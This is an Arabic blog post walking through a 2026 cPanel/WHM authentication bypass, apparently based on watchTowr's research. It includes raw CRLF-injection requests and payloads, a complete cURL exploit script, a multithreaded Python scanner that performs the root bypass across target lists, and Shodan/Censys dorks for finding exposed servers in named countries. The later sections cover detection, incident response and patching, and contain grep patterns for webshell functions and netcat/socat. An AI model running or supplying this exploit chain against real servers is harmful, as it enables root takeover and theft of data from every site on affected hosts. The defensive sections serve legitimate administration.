أقسام الوصول السريع (مربع البحث)

شرح ثغرة CVE-2026-41940 — تخطي مصادقة cPanel/WHM والحصول على RCE 2026

السلام عليكم متابعين قناة ومدونة Shadow Hacker، كالعادة راجعلكم اليوم بموضوع جبار ومجنون... وبصراحة هالمرة الموضوع مش عادي أبداً. بنحكي عن أخطر ثغرة أمنية انكشفت بسنة 2026 لحد هسا — ثغرة CVE-2026-41940 بنظام cPanel/WHM اللي بتأثر على أكتر من 70 مليون موقع حول العالم

شرح ثغرة CVE-2026-41940 — تخطي مصادقة cPanel/WHM والحصول على RCE 2026

شرح ثغرة CVE-2026-41940 — تخطي مصادقة cPanel/WHM والحصول على RCE 2026

يعني تخيل معي... ثغرة بتخليك تتخطى نظام المصادقة بالكامل وتدخل كـ root على أي سيرفر cPanel بدون ما تعرف كلمة السر. وبعد ما تدخل، عندك Remote Code Execution (RCE) يعني بتقدر تنفذ أي أمر على السيرفر. كل المواقع عليه، كل قواعد البيانات، كل الإيميلات... كل إشي.

والأخطر من هيك، CISA (وكالة الأمن السيبراني الأمريكية) أضافت الثغرة لقائمة KEV (Known Exploited Vulnerabilities) يعني مؤكد إنها مُستغلة فعلياً من هاكرز حول العالم من شهر فبراير 2026! يعني قبل ما يطلع الباتش بشهرين كان في ناس عم تستغلها بالخفية.

الفضل باكتشاف هالثغرة يرجع لفريق watchTowr Labs والباحث Sina Kheirkhah (@SinSinology) اللي نشروا تحليل تقني كامل مع PoC (Proof of Concept) على GitHub. واليوم رح أشرحلكم كل التفاصيل التقنية خطوة بخطوة... كيف الثغرة بتشتغل، كيف بتقدر تفحص سيرفراتك، وكيف تحمي حالك.

وبالمناسبة إذا بدك تفهم أكتر عن أدوات اختبار الاختراق اللي ممكن تستخدمها، شوف مقالنا عن Bug Bounty.

شو هي ثغرة CVE-2026-41940 وليش خطيرة لهالدرجة؟

خليني أبسطلك الموضوع... cPanel/WHM هو نظام إدارة السيرفرات الأشهر بالعالم. تقريباً كل شركة استضافة بتستخدمه. لما بتشتري استضافة من أي مزود خدمة، غالباً بتدخل على لوحة تحكم cPanel عشان تدير موقعك وقاعدة بياناتك وإيميلاتك.

و WHM (WebHost Manager) هي لوحة التحكم الرئيسية اللي بيستخدمها مدير السيرفر. فيها صلاحيات root كاملة... يعني بتقدر تتحكم بكل المواقع على السيرفر، تعمل حسابات جديدة، تعدل إعدادات DNS، تثبت برامج، وتنفذ أي أمر على مستوى النظام.

هسا تخيل إنو في ثغرة بتخليك تتخطى شاشة تسجيل الدخول تبع WHM وتدخل كـ root بدون ما تعرف كلمة السر. هاد بالظبط اللي بتعمله CVE-2026-41940.

التقييم الأمني للثغرة: CVSS Score 9.8 من 10 — يعني أقصى درجة خطورة تقريباً. والسبب إنها:

ما بتحتاج مصادقة — أي حدا على الإنترنت بقدر يستغلها

التنفيذ عن بعد — مش لازم تكون على نفس الشبكة

التأثير كامل — بتحصل على صلاحيات root

بدون تفاعل من المستخدم — ما بتحتاج المدير يضغط على رابط أو يعمل إشي

وبحسب cPanel نفسهم، الثغرة بتأثر على كل الإصدارات المدعومة من بعد الإصدار 11.40. يعني ملايين السيرفرات حول العالم. وكمان بتأثر على WP Squared (الإصدار 136.1.7) وهي منصة استضافة WordPress مبنية فوق cPanel.

التحليل التقني: كيف الثغرة بتشتغل من جوّا؟

هسا رح ندخل بالتفاصيل التقنية العميقة. وبصراحة هاد أجمل جزء بالموضوع لأنو بيوريك كيف ثغرة "بسيطة" بمفهوم CRLF Injection ممكن تتحول لكارثة أمنية.

النظام بيشتغل هيك: لما بتسجل دخول على WHM (بورت 2087)، السيرفر بيعمل ملف Session على القرص الصلب. في نوعين من ملفات الـ Session:

Raw File بمسار /var/cpanel/sessions/raw/<sessionid> — ملف نصي كل سطر فيه key=value

Cache File بمسار /var/cpanel/sessions/cache/<sessionid> — ملف JSON مُسلسل

والـ Session بيكون فيه معلومات مهمة زي اسم المستخدم، صلاحياته، رقم Token الأمني، وكلمة السر المُشفّرة. وكل Session إله مفتاح سري (يسموه ob) بينحط بعد فاصلة بالـ Cookie:

whostmgrsession=:SessionName,HexSecret

المفتاح السري ob بيُستخدم لتشفير كلمة السر قبل ما تنكتب على القرص. وهون بيجي الخلل...

🔥 جوهر الثغرة: إذا بعثت الـ Cookie بدون الجزء السري (ob)، نظام cPanel بيكتب كلمة السر على القرص بدون تشفير... وبدون ما يفلتر أحرف CRLF!

يعني لو بعثت \r\n (Carriage Return + Line Feed) داخل كلمة السر، هالأحرف رح تنكتب كما هي بملف الـ Session. وبما إنو الملف الـ Raw بيُقرأ سطر سطر، كل سطر جديد بيُعتبر حقل مستقل. وهيك بتقدر تحقن أي قيمة بدك إياها داخل الـ Session.

سلسلة الاستغلال خطوة بخطوة (Exploit Chain)

هسا رح أشرحلك الخطوات الخمسة اللي بتوصلك من "ما عندي إشي" لـ "أنا root على السيرفر". وهاي هي السلسلة الكاملة اللي نشرها فريق watchTowr:

الخطوة 1: إنشاء Session أولي (Pre-Auth Session)

أول إشي بتعمله هو إنك تبعث طلب تسجيل دخول فاشل عشان السيرفر يعملّك ملف Session على القرص. حتى لو كلمة السر غلط، cPanel بيعمل Session مؤقت:

# طلب تسجيل دخول فاشل لإنشاء Session
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded

user=root&pass=wrong_password

السيرفر رح يرد عليك بـ Cookie فيها اسم الـ Session والمفتاح السري:

Set-Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_%2c4d257abc371539dfebdf7d3a3e64de0b

# بعد فك التشفير:
# :QSJN_sFdKZtCi2o_,4d257abc371539dfebdf7d3a3e64de0b
#  ^                ^
#  اسم Session      المفتاح السري (ob)

هسا عندك اسم الـ Session. الخطوة الجاية هي إنك تشيل المفتاح السري من الـ Cookie وتبعثها بدونه.

الخطوة 2: حقن CRLF عبر HTTP Basic Authentication

هون بييجي الإشي الحلو. بتبعث طلب HTTP فيه الـ Cookie بدون الجزء السري (ob)، ومعه Basic Auth Header فيه كلمة سر محقونة بـ CRLF:

GET / HTTP/1.1
Host: target.com:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0x...

# الـ Basic Auth بعد فك Base64:
# root:x\r\nhasroot=1\r\ntfa_verified=1\r\nuser=root\r\ncp_security_token=/cpsess9999999999\r\nsuccessful_internal_auth_with_timestamp=1777462149

شو اللي بيصير هون؟ نظام cPanel بياخذ كلمة السر من Basic Auth ويمررها على دالة set_pass(). المشكلة إنو هالدالة بس بتشيل NUL bytes (أحرف الصفر) وبتترك \r\n تمر! وبما إنو ما في مفتاح سري (ob)، كلمة السر بتنكتب على القرص بدون تشفير.

🔥 النتيجة: الأحرف \r\n بتتحول لأسطر جديدة بملف الـ Session، وكل سطر محقون بيُعتبر حقل مستقل!

الخطوة 3: تلويث ملف الـ Session (Raw File Pollution)

بعد الخطوة السابقة، ملف الـ Raw Session صار شكله هيك:

# /var/cpanel/sessions/raw/QSJN_sFdKZtCi2o_
pass=x                                          ← كلمة السر الأصلية
hasroot=1                                        ← محقون! صلاحيات root
tfa_verified=1                                   ← محقون! تخطي 2FA
user=root                                        ← محقون! المستخدم = root
cp_security_token=/cpsess9999999999              ← محقون! Token أمني
successful_internal_auth_with_timestamp=1777462149 ← محقون! تخطي فحص كلمة السر

شايف؟ كل الأسطر المحقونة صارت جزء من ملف الـ Session. بس في مشكلة صغيرة... هالبيانات موجودة بس بالملف الـ Raw. الـ Cache File (JSON) لسا ما اتحدث. فلازم ننقل البيانات المحقونة للـ Cache...

الخطوة 4: نقل البيانات المحقونة للـ Cache (Cache Promotion)

هاي أذكى خطوة بالسلسلة. بتبعث طلب لـ endpoint بدون Security Token:

GET /scripts2/listaccts HTTP/1.1
Host: target.com:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_

لما السيرفر يشوف إنو ما في Security Token بالطلب، بيستدعي دالة check_security_token() اللي بتفشل، وبعدها بتستدعي do_token_denied(). وهاي الدالة بتعمل إشي مهم جداً:

1. بتفتح كائن Cpanel::Session::Modify — وهاد بيقرأ الملف الـ Raw مع خيار nocache => 1

2. بتحلل الملف سطر سطر وبتحط كل key=value بـ Hash بالذاكرة

3. بتستدعي Modify->save() — وهاد بيكتب الـ Hash كـ JSON للـ Cache File

🔥 النتيجة: كل الأسطر المحقونة (hasroot, user=root, etc.) صارت مفاتيح JSON رسمية بالـ Cache!

ملف الـ Cache هسا شكله هيك:

{
  "user": "root",
  "hasroot": "1",
  "tfa_verified": "1",
  "cp_security_token": "/cpsess9999999999",
  "successful_internal_auth_with_timestamp": "1777462149",
  "pass": "x"
}

الخطوة 5: تخطي المصادقة والدخول كـ root

هسا أي طلب بتبعثه بنفس الـ Session Cookie، السيرفر رح يقرأ الـ Cache ويشوف:

user = root — المستخدم هو root

hasroot = 1 — عنده صلاحيات root

successful_internal_auth_with_timestamp — هاد الحقل لما يكون موجود، دالة docheckpass_whostmgrd() بتستدعي check_authok_user() اللي بترجع AUTH_OK بدون ما تفحص كلمة السر أصلاً!

يعني حرفياً "إذا في timestamp موجود، ما لازم نتأكد من كلمة السر". وهيك أنت root على السيرفر بالكامل.

# تأكيد الوصول كـ root
GET /json-api/version HTTP/1.1
Host: target.com:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_

# الاستجابة:
HTTP/1.1 200 OK
{"version":"11.110.0.89"}

# مبروك... أنت root!

الكود المسؤول عن الثغرة: تحليل الباتش

خليني أوريك بالظبط شو كان الكود قبل الباتش وبعده. فريق watchTowr حللوا 3 ملفات تغيّرت:

Cpanel/Session.pm — مسؤول عن حفظ الـ Session

Cpanel/Session/Load.pm — مسؤول عن تحميل الـ Session

Cpanel/Session/Encoder.pm — ملف جديد كلياً للتشفير

🔥 الكود قبل وبعد الباتش — دالة saveSession()

# ❌ قبل الباتش - الكود المُصاب:
# إذا ما في $ob (مفتاح سري)، ما بيصير تشفير أبداً!
my $encoder = $ob && Cpanel::Session::Encoder->new('secret' => $ob);

# ✅ بعد الباتش - الكود المُرقّع:
# حتى لو ما في $ob، بيعمل hex encoding
if (defined $ob && length $ob) {
    my $encoder = Cpanel::Session::Encoder->new('secret' => $ob);
    $session_ref->{'pass'} = $encoder->encode_data($session_ref->{'pass'});
} else {
    $session_ref->{'pass'} = 'no-ob:' .
        Cpanel::Session::Encoder->hex_encode_only($session_ref->{'pass'});
}

والباتش كمان أضاف دالة filter_sessiondata() اللي بتشيل أحرف \r\n=\ من كل القيم قبل ما تنكتب على القرص:

# دالة filter_sessiondata الجديدة
# "Prevent manipulation of other entries in session file"
sub filter_sessiondata {
    my ($value) = @_;
    $value =~ s/[\r\n=\\]//g;  # شيل كل CRLF و = و \
    return $value;
}

وهيك الباتش بيحمي من الثغرة بثلاث طرق:

1. تنقية المدخلات: filter_sessiondata() بتشيل \r\n من كل القيم

2. تشفير إجباري: حتى بدون المفتاح السري، كلمة السر بتنكتب مُشفّرة بـ hex

3. إصلاح مستقل: ما بيعتمد على أي كود خارجي يعمل التنقية

أداة الكشف من watchTowr Labs — الاستخدام العملي

فريق watchTowr Labs نشروا أداة كشف على GitHub اسمها Detection Artifact Generator. هاي الأداة مش استغلال... هي بتفحص إذا السيرفر عرضة للثغرة بدون ما تسبب أي ضرر.

📦 رابط GitHub: github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py

الأداة بتشتغل بأربع مراحل:

1. Minting Pre-Auth Session — بتعمل Session جديد على السيرفر

2. CRLF Injection — بتحقن بيانات عبر Basic Auth مع Cookie بدون ob

3. Cache Propagation — بتستدعي do_token_denied لنقل البيانات للـ Cache

4. Verification — بتتأكد من الوصول عبر JSON API endpoint

# تحميل وتشغيل أداة الكشف
git clone https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py.git
cd watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py

# تثبيت المتطلبات
pip install requests urllib3

# فحص سيرفر واحد
python authbypass-RCE.py --target https://target.com:2087

# فحص عدة سيرفرات من ملف
python authbypass-RCE.py --targets servers.txt

والأداة لما بتلاقي السيرفر عرضة للثغرة بترجعلك رقم إصدار cPanel وبتأكدلك إنو الوصول كـ root تم بنجاح. لما تشوف رقم الإصدار (مثلاً 11.110.0.89) يعني السيرفر مُصاب ولازم يتحدث فوراً.

🔥 تحذير: لا تستخدم هالأداة إلا على سيرفرات عندك إذن خطي لفحصها. استخدامها بدون إذن ممكن يعرضك لمسؤولية.

كيف تستغل الثغرة يدوياً بـ cURL — خطوة بخطوة

هسا رح أوريك كيف تعمل الاستغلال يدوياً باستخدام cURL عشان تفهم كل خطوة بالتفصيل. وطبعاً هاد للتعلم وفحص سيرفراتك الخاصة فقط.

🔥 حيلة حصرية: الاستغلال الكامل بأوامر cURL

#!/bin/bash
# CVE-2026-41940 Manual Exploitation Script
# ⚠️ للأغراض التعليمية فقط - استخدم على سيرفراتك فقط!

TARGET="https://target.com:2087"

echo "[1/4] Creating pre-auth session..."
# إرسال طلب تسجيل دخول فاشل للحصول على Session Cookie
RESPONSE=$(curl -sk -c - "$TARGET/login/?login_only=1" \
  -d "user=root&pass=wrong" -D -)

# استخراج Session Name من الـ Cookie
SESSION=$(echo "$RESPONSE" | grep -oP 'whostmgrsession=\K[^;]+' | head -1)
echo "    Session: $SESSION"

# شيل الجزء السري (ob) من الـ Cookie
SESSION_NO_OB=$(echo "$SESSION" | sed 's/,.*//')
echo "    Session without ob: $SESSION_NO_OB"

echo "[2/4] Injecting CRLF via Basic Auth..."
# تحضير الـ Payload المحقون
# root:x\r\nhasroot=1\r\ntfa_verified=1\r\nuser=root\r\n...
PAYLOAD=$(echo -ne "root:x\r\nhasroot=1\r\ntfa_verified=1\r\nuser=root\r\ncp_security_token=/cpsess9999999999\r\nsuccessful_internal_auth_with_timestamp=1777462149" | base64 -w0)

curl -sk "$TARGET/" \
  -H "Cookie: whostmgrsession=$SESSION_NO_OB" \
  -H "Authorization: Basic $PAYLOAD" \
  -o /dev/null

echo "[3/4] Triggering cache promotion..."
# استدعاء endpoint بدون Security Token
# هاد بيخلي do_token_denied تنقل البيانات للـ Cache
curl -sk "$TARGET/scripts2/listaccts" \
  -H "Cookie: whostmgrsession=$SESSION_NO_OB" \
  -o /dev/null

echo "[4/4] Verifying root access..."
# فحص إذا صرنا root
RESULT=$(curl -sk "$TARGET/json-api/version" \
  -H "Cookie: whostmgrsession=$SESSION_NO_OB")

echo "    Response: $RESULT"

if echo "$RESULT" | grep -q "version"; then
  echo "✓ VULNERABLE! Root access confirmed."
else
  echo "✗ Not vulnerable or patched."
fi

وبتقدر تنفذ هالسكربت على سيرفرك عشان تتأكد إذا عرضة للثغرة أو لا. إذا رجعلك رقم الإصدار يعني مُصاب ولازم تحدث فوراً.

الموضوع مش عادي أبداً. بنحكي عن أخطر ثغرة أمنية انكشفت بسنة 2026 لحد هسا — ثغرة CVE-2026-41940 بنظام cPanel/WHM اللي بتأثر على أكتر من 70 مليون موقع حول العالم

كتابة سكربت Python مخصص للفحص الجماعي

إذا عندك عدة سيرفرات وبدك تفحصها كلها مرة وحدة، هاد سكربت Python بيساعدك:

🔥 سكربت حصري: فحص جماعي متعدد الخيوط

#!/usr/bin/env python3
"""
CVE-2026-41940 cPanel/WHM Bulk Scanner
Shadow Hacker - Educational Purpose Only
"""
import requests
import base64
import re
import sys
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed

urllib3.disable_warnings()

def check_target(target):
    """فحص سيرفر واحد لثغرة CVE-2026-41940"""
    if not target.startswith("http"):
        target = f"https://{target}:2087"

    try:
        # الخطوة 1: إنشاء Session
        s = requests.Session()
        s.verify = False

        r = s.post(f"{target}/login/?login_only=1",
                   data={"user": "root", "pass": "wrong"},
                   timeout=15, allow_redirects=False)

        cookies = r.headers.get("Set-Cookie", "")
        match = re.search(r'whostmgrsession=([^;]+)', cookies)
        if not match:
            return target, "NO_SESSION", None

        session = requests.utils.unquote(match.group(1))
        session_no_ob = session.split(",")[0]  # شيل ob

        # الخطوة 2: CRLF Injection
        payload_raw = (
            "root:x\r\n"
            "hasroot=1\r\n"
            "tfa_verified=1\r\n"
            "user=root\r\n"
            "cp_security_token=/cpsess9999999999\r\n"
            "successful_internal_auth_with_timestamp=1777462149"
        )
        payload_b64 = base64.b64encode(payload_raw.encode()).decode()

        s.get(target + "/",
              headers={"Authorization": f"Basic {payload_b64}"},
              cookies={"whostmgrsession": session_no_ob},
              timeout=15, allow_redirects=False)

        # الخطوة 3: Cache Promotion
        s.get(target + "/scripts2/listaccts",
              cookies={"whostmgrsession": session_no_ob},
              timeout=15, allow_redirects=False)

        # الخطوة 4: التحقق
        r = s.get(target + "/json-api/version",
                  cookies={"whostmgrsession": session_no_ob},
                  timeout=15, allow_redirects=False)

        if "version" in r.text:
            version = r.json().get("version", "unknown")
            return target, "VULNERABLE", version
        else:
            return target, "NOT_VULNERABLE", None

    except requests.exceptions.Timeout:
        return target, "TIMEOUT", None
    except requests.exceptions.ConnectionError:
        return target, "CONNECTION_ERROR", None
    except Exception as e:
        return target, f"ERROR: {str(e)[:50]}", None

def main():
    if len(sys.argv) < 2:
        print("Usage: python scanner.py targets.txt [threads]")
        sys.exit(1)

    with open(sys.argv[1]) as f:
        targets = [line.strip() for line in f if line.strip()]

    threads = int(sys.argv[2]) if len(sys.argv) > 2 else 10
    vulnerable = []

    print(f"Scanning {len(targets)} targets with {threads} threads...")

    with ThreadPoolExecutor(max_workers=threads) as pool:
        futures = {pool.submit(check_target, t): t for t in targets}
        for future in as_completed(futures):
            target, status, version = future.result()
            if status == "VULNERABLE":
                print(f"  [!] {target} - VULNERABLE (v{version})")
                vulnerable.append(target)
            else:
                print(f"  [-] {target} - {status}")

    print(f"\nResults: {len(vulnerable)}/{len(targets)} vulnerable")

    if vulnerable:
        with open("vulnerable_cpanels.txt", "w") as f:
            f.write("\n".join(vulnerable))
        print(f"Saved to vulnerable_cpanels.txt")

if __name__ == "__main__":
    main()

احفظ السكربت باسم scanner.py وشغله هيك:

# تحضير ملف الأهداف
echo "server1.com:2087" > targets.txt
echo "server2.com:2087" >> targets.txt
echo "server3.com:2087" >> targets.txt

# فحص بـ 10 خيوط (الافتراضي)
python scanner.py targets.txt

# فحص بـ 50 خيط (أسرع)
python scanner.py targets.txt 50

وإذا بدك تتعلم أكتر عن كتابة سكربتات فحص، شوف مقالنا عن أدوات Termux.

كيف تكتشف إذا سيرفرك تعرض للاختراق (Indicators of Compromise)

هسا السؤال المهم: كيف بتعرف إذا حدا استغل هالثغرة على سيرفرك؟ هالجزء مهم جداً لأنو الثغرة كانت مُستغلة كـ Zero-Day من فبراير 2026 — يعني حتى لو حدثت هسا، ممكن يكون حدا دخل على سيرفرك قبل التحديث. فلازم تفحص مؤشرات الاختراق (IoC) عشان تتأكد. وأنا رح أعطيك سكربت كامل يفحص كل إشي تلقائياً:

🔥 فحص IoC (Indicators of Compromise)

#!/bin/bash
# CVE-2026-41940 IoC Scanner
# شغّله كـ root على السيرفر المُصاب

echo "=== CVE-2026-41940 IoC Scanner ==="
echo ""

# 1. فحص ملفات Session الملوثة
echo "[1] Checking raw session files for CRLF injection..."
INFECTED=$(grep -rl $'\r\n' /var/cpanel/sessions/raw/ 2>/dev/null)
if [ -n "$INFECTED" ]; then
    echo "  ⚠️  FOUND infected session files:"
    echo "$INFECTED"
else
    echo "  ✓ No infected raw sessions found"
fi

# 2. فحص Cache Files لمفاتيح مشبوهة
echo ""
echo "[2] Checking cache files for injected keys..."
SUSPICIOUS=$(grep -rl '"hasroot"' /var/cpanel/sessions/cache/ 2>/dev/null)
SUSPICIOUS2=$(grep -rl 'successful_internal_auth' /var/cpanel/sessions/cache/ 2>/dev/null)
if [ -n "$SUSPICIOUS" ] || [ -n "$SUSPICIOUS2" ]; then
    echo "  ⚠️  FOUND suspicious cache files:"
    echo "$SUSPICIOUS $SUSPICIOUS2"
else
    echo "  ✓ No suspicious cache entries found"
fi

# 3. فحص سجلات WHM للوصول غير المصرح
echo ""
echo "[3] Checking WHM access logs..."
grep -E "json-api/version|scripts2/listaccts" /usr/local/cpanel/logs/access_log \
  | grep -v "security_token" | tail -20

# 4. فحص إصدار cPanel
echo ""
echo "[4] Current cPanel version:"
/usr/local/cpanel/cpanel -V

# 5. التحقق من آخر تحديث
echo ""
echo "[5] Last update timestamp:"
stat /usr/local/cpanel/version 2>/dev/null

المؤشرات اللي لازم تنتبهلها:

ملفات Session فيها \r\n — بين أزواج key=value... هاد دليل على حقن CRLF

ملفات Cache فيها مفاتيح غريبة — زي hasroot أو successful_internal_auth_with_timestamp ما لازم تكون موجودة بـ Session عادية

طلبات HTTP Basic Auth بدون ob — الـ Cookie ما فيها الجزء السري

طلبات /scripts2/listaccts بدون Security Token — قبل عمليات دخول root ناجحة

طلبات /json-api/version من IPs غريبة — المهاجم بيستخدم هاد الـ endpoint للتأكد من نجاح الاستغلال

الإصدارات المُصابة والمُرقّعة

الثغرة بتأثر على كل إصدارات cPanel/WHM بعد الإصدار 11.40. هاي قائمة بالإصدارات المُرقّعة اللي لازم تحدث عليها:

110.0.x → حدث لـ 11.110.0.97 أو أحدث

118.0.x → حدث لـ 11.118.0.63 أو أحدث

126.0.x → حدث لـ 11.126.0.54 أو أحدث

132.0.x → حدث لـ 11.132.0.29 أو أحدث

134.0.x → حدث لـ 11.134.0.20 أو أحدث

136.0.x → حدث لـ 11.136.0.5 أو أحدث

# التحقق من إصدار cPanel الحالي
/usr/local/cpanel/cpanel -V

# تحديث cPanel فوراً
/usr/local/cpanel/scripts/upcp --force

# التحقق بعد التحديث
/usr/local/cpanel/cpanel -V

وإذا اكتشفت إنو سيرفرك مُصاب، لازم تعمل هالخطوات فوراً:

1. حدث cPanel فوراً — شغل /usr/local/cpanel/scripts/upcp --force

2. امسح كل ملفات الـ Sessionrm -rf /var/cpanel/sessions/raw/* /var/cpanel/sessions/cache/*

3. غيّر كلمة سر rootpasswd root

4. غيّر كلمات سر كل مستخدمي WHM

5. افحص crontabcrontab -l و cat /etc/crontab عشان تتأكد ما في مهام مشبوهة

6. افحص SSH Keyscat /root/.ssh/authorized_keys

7. افحص Webshells — ابحث عن ملفات PHP مشبوهة بمجلدات الويب

# خطوات الاستجابة الكاملة
# 1. تحديث cPanel
/usr/local/cpanel/scripts/upcp --force

# 2. مسح كل الـ Sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*

# 3. تغيير كلمة سر root
passwd root

# 4. فحص crontab للمهام المشبوهة
crontab -l
cat /etc/crontab
ls -la /etc/cron.d/

# 5. فحص SSH keys
cat /root/.ssh/authorized_keys
for user in $(cut -d: -f1 /etc/passwd); do
    keys=$(cat /home/$user/.ssh/authorized_keys 2>/dev/null)
    if [ -n "$keys" ]; then
        echo "User: $user has SSH keys"
    fi
done

# 6. البحث عن Webshells
find /home/*/public_html -name "*.php" -newer /var/log/messages -exec grep -l "eval\|system\|exec\|passthru\|shell_exec\|base64_decode" {} \;

# 7. فحص العمليات المشبوهة
ps aux | grep -E "nc |ncat |socat |/tmp/|\.hidden"

كيف تكتب Nuclei Template لفحص الثغرة

إذا بدك تفحص عدد كبير من السيرفرات بشكل أوتوماتيكي، بتقدر تستخدم Nuclei مع Template مخصص. هاد مثال لكتابة Template:

🔥 Nuclei Template حصري لـ CVE-2026-41940

id: CVE-2026-41940

info:
  name: cPanel/WHM Authentication Bypass
  author: shadowhacker
  severity: critical
  description: |
    cPanel/WHM CRLF injection in session handling
    leads to authentication bypass and RCE.
  reference:
    - https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41940
  tags: cve,cve2026,cpanel,whm,auth-bypass,rce,critical

http:
  - raw:
      - |
        POST /login/?login_only=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user=root&pass=watchtowr_nuclei_test

    matchers:
      - type: word
        words:
          - "whostmgrsession"
        part: header

      - type: status
        status:
          - 200
          - 301
          - 302
          - 401

    matchers-condition: and

احفظ الملف باسم CVE-2026-41940.yaml وشغله:

# فحص سيرفر واحد
nuclei -u https://target.com:2087 -t CVE-2026-41940.yaml

# فحص قائمة سيرفرات
nuclei -l cpanel_servers.txt -t CVE-2026-41940.yaml -o vulnerable.txt

# أو استخدم Template الرسمي (متوفر بتحديثات Nuclei)
nuclei -update-templates
nuclei -u https://target.com:2087 -tags cve2026

وإذا بدك تتعلم أكتر عن Nuclei وأدوات الفحص، شوف مقالنا عن أوامر Termux.

اكتشاف سيرفرات cPanel عبر Shodan و Censys

عشان تلاقي سيرفرات cPanel/WHM على الإنترنت للفحص (بإذن طبعاً)، بتقدر تستخدم محركات بحث IoT:

🔥 حيلة حصرية: البحث عن أهداف cPanel

# Shodan Dorks لـ cPanel/WHM
# البحث على shodan.io:

# كل سيرفرات WHM
"WHM" port:2087

# cPanel بإصدار محدد (مُصاب)
"cPanel" "11.110.0" port:2087

# WHM بدولة معينة
"WHM" port:2087 country:"SA"   # السعودية
"WHM" port:2087 country:"AE"   # الإمارات
"WHM" port:2087 country:"JO"   # الأردن

# استخدام Shodan CLI
pip install shodan
shodan init YOUR_API_KEY
shodan search "WHM port:2087" --fields ip_str,port,org | head -100

# Censys Search
# على censys.io:
services.port=2087 AND services.http.response.body:"cPanel"

وبعد ما تجمع قائمة الأهداف، بتقدر تفحصها بالسكربت اللي كتبناه فوق أو بـ Nuclei. بس تذكر... ما تفحص إلا سيرفرات عندك إذن!

[IMAGE_PLACEHOLDER_3]

ليش هالثغرة بتعتبر Zero-Day وشو تأثيرها؟

بحسب تقارير Help Net Security و BleepingComputer، هالثغرة كانت مُستغلة كـ Zero-Day من أواخر فبراير 2026 — يعني شهرين كاملين قبل ما cPanel ينشر الباتش بتاريخ 28 أبريل 2026!

وهاد معناته إنو هاكرز كانوا يستغلوها بالخفية على سيرفرات حول العالم لمدة شهرين بدون ما حدا يعرف. وبحسب التقديرات، أكتر من 1.5 مليون سيرفر كانوا عرضة للاستغلال.

التأثير المحتمل للاستغلال:

سرقة كل المواقع على السيرفر — الملفات، قواعد البيانات، الإيميلات

تعديل المواقع — حقن أكواد خبيثة، توجيه الزوار لمواقع ثانية

سرقة بيانات العملاء — كلمات سر، بطاقات ائتمان، معلومات شخصية

نشر Ransomware — تشفير كل الملفات والمطالبة بفدية

استخدام السيرفر كمنصة هجوم — إرسال Spam، هجمات DDoS، تعدين عملات

Backdoors وPersistence — زرع أبواب خلفية للرجوع لاحقاً

والموضوع أخطر على شركات الاستضافة لأنو سيرفر واحد ممكن يكون عليه مئات أو آلاف المواقع. يعني ثغرة وحدة ممكن تأثر على آلاف العملاء. وكمان لازم ما ننسى إنو كتير شركات استضافة عربية لسا ما حدثت سيرفراتها لأنو ما في وعي كافي بأهمية التحديثات الأمنية. فإذا عندك موقع على استضافة مشتركة، تواصل مع مزود الاستضافة وتأكد إنهم حدثوا cPanel.

ومن ناحية تقنية، الهاكرز اللي استغلوا الثغرة كـ Zero-Day غالباً زرعوا Webshells و SSH Backdoors عشان يقدروا يرجعوا للسيرفر حتى بعد التحديث. فالتحديث لحاله مش كافي — لازم فحص شامل لكل الملفات والعمليات والـ crontab.

مقارنة مع ثغرات cPanel السابقة

هاي مش أول ثغرة خطيرة بـ cPanel، بس هي بلا شك الأخطر. خليني أقارنها مع ثغرات سابقة:

CVE-2020-0618 — ثغرة XSS بـ cPanel. خطورة متوسطة. بتحتاج تفاعل من المستخدم.

CVE-2021-38573 — تخطي 2FA بـ cPanel. خطورة عالية. بس بتحتاج تعرف كلمة السر أولاً.

CVE-2022-44877 — ثغرة RCE بـ CentOS Web Panel (بديل cPanel). خطيرة بس بنظام ثاني.

CVE-2026-41940 — تخطي مصادقة كامل + RCE بدون أي شروط مسبقة. الأخطر بتاريخ cPanel!

الفرق الجوهري إنو CVE-2026-41940 ما بتحتاج أي معلومة مسبقة — لا كلمة سر ولا اسم مستخدم ولا تفاعل من الضحية. بس تعرف IP السيرفر وبورت 2087 مفتوح. وهاد اللي بيخليها كارثية لأنو أي حدا بيقدر يفحص الإنترنت كله عبر Shodan أو Censys ويلاقي آلاف السيرفرات المُصابة بثواني.

وكمان إشي مهم... الثغرات السابقة كان ممكن تتخطاها بـ 2FA أو بتقييد الوصول بـ IP. بس CVE-2026-41940 بتحقن tfa_verified=1 بالـ Session يعني بتتخطى حتى Two-Factor Authentication. وبما إنها بتشتغل على بورت WHM مباشرة، حتى Firewall Rules ما بتفيد إلا إذا حظرت البورت بالكامل.

نصائح أمنية لحماية سيرفرك

بغض النظر عن هالثغرة بالتحديد، هاي نصائح عامة لازم كل مدير سيرفر يطبقها:

أول نصيحة... حدث cPanel دايماً. فعّل التحديث التلقائي عشان ما تتأخر:

# تفعيل التحديث التلقائي
/usr/local/cpanel/scripts/upcp --force
echo "CPANEL=daily" >> /etc/cpupdate.conf

# أو حدث يدوياً
/usr/local/cpanel/scripts/upcp

ثاني نصيحة... قيّد الوصول لبورت 2087. WHM ما لازم يكون مفتوح للعالم كله:

# السماح بالوصول من IPs محددة فقط
iptables -A INPUT -p tcp --dport 2087 -s YOUR_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 2087 -j DROP

# أو استخدم CSF Firewall
csf -a YOUR_IP "Admin access"

